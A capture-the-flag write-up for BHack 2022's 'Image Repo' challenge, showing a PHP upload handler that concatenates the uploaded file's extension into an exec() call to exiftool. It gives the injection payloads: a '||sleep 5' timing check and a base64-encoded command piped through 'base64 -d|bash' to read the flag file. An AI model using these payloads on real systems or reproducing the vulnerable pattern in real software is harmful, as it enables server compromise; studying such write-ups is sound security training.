BHack 2022 - Image Repo - Blind Command Injection via File Upload
This challenge was a simple PHP upload application with only two relevant files: index.php and uploadHandler.php.

After reviewing the code, this was the interesting part:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Repo</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<center>
<div class="upload">
<form id="upload_form" enctype="multipart/form-data" method="post" action="uploadHandler.php">
<input type="file" name="fileToUpload" id="fileToUpload"><br>
<input type="submit" value="Upload"><br>
<progress id="progressBar" value="0" max="100" style="width:100%;"></progress>
<h4 id="status">System Status: Working</h4>
</form>
</div>
</center>
</body>
</html>
<?php
ini_set('display_errors', 'Off');
$target_dir = "tmp/";
$filename = explode('.', basename($_FILES['fileToUpload']['name']));
$target_file = $target_dir . md5($filename[0] . time()) . '.' .$filename[1];
if ($_FILES["fileToUpload"]["size"] > 800000){
header("/index.php");
exit();
}
#cleanup
$filecount = count(glob('tmp/' . "*"));
if ($filecount >= 19 ) {
exec('rm -rf tmp/*');
}
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
#Método novo para verificação de arquivos maliciosos
exec('exiftool --ext php ' . $target_file, $output, $retval);
if ($retval == 1) {
unlink($target_file);
print_r("Tentativa de invasão detectada!!");
} else {
exec('mv ' . $target_file . ' tmp');
print_r("Sua foto foi devidamente armazenada no nosso servidor!");
}
?>
Vulnerability
The upload validation used ExifTool to inspect uploaded files, but the raw target_file variable was concatenated directly into an exec() call. That created a blind command injection.
$filename = explode('.', basename($_FILES['fileToUpload']['name']));
$target_file = $target_dir . md5($filename[0] . time()) . '.' .$filename[1];
[...]
#Método novo para verificação de arquivos maliciosos
exec('exiftool --ext php ' . $target_file, $output, $retval);
To understand the injection point, it helps to break down how the final command argument was built:
$target_dir: constant variable with the valuetmp/$filename: array created withexplode('.'), splitting the uploaded filename on the dot$filename[0]: filename before the dot$filename[1]: extension after the dotmd5($filename[0] + timestamp): hash of the filename plus the current timestamp$target_file: final concatenation using those pieces, with$filename[1]becoming the injection point
Since exec() runs an operating system command, controlling the file extension made it possible to inject a second command into the ExifTool call.
Exploitation
To execute another command in the same call, I used || to start the payload. In shell syntax, this acts like an or, so the second command runs when the first one fails.

PoC
Before going for the flag, I used a simple payload to confirm that command execution worked. The response delay showed the server was sleeping for five seconds.
||sleep 5
That made the command look like this:
exiftool --ext php ||sleep 5
To retrieve the flag, I read /flag file content and redirected the output to a file in the web directory so I could fetch it through the browser. This was the final payload:
||echo Y2F0IC9mbGFnID4gc2VjcmV0X3JlZ25lX2ZsYWc=|base64 -d|bash

